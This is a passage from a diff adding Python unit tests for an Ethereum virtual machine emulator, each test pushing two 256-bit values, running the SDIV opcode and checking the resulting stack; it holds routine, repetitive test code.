+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SDIV_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SDIV_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SDIV_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SDIV_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SDIV_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SDIV_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SDIV_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301247L])
+
+    def test_SDIV_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [226156424291633194186662080095093570025917938800079226639565593765455331328L])
+
+    def test_SDIV_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_SDIV_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3L])
+
+    def test_SDIV_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [380599384721589301615542925186532036368732432L])
+
+    def test_SDIV_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
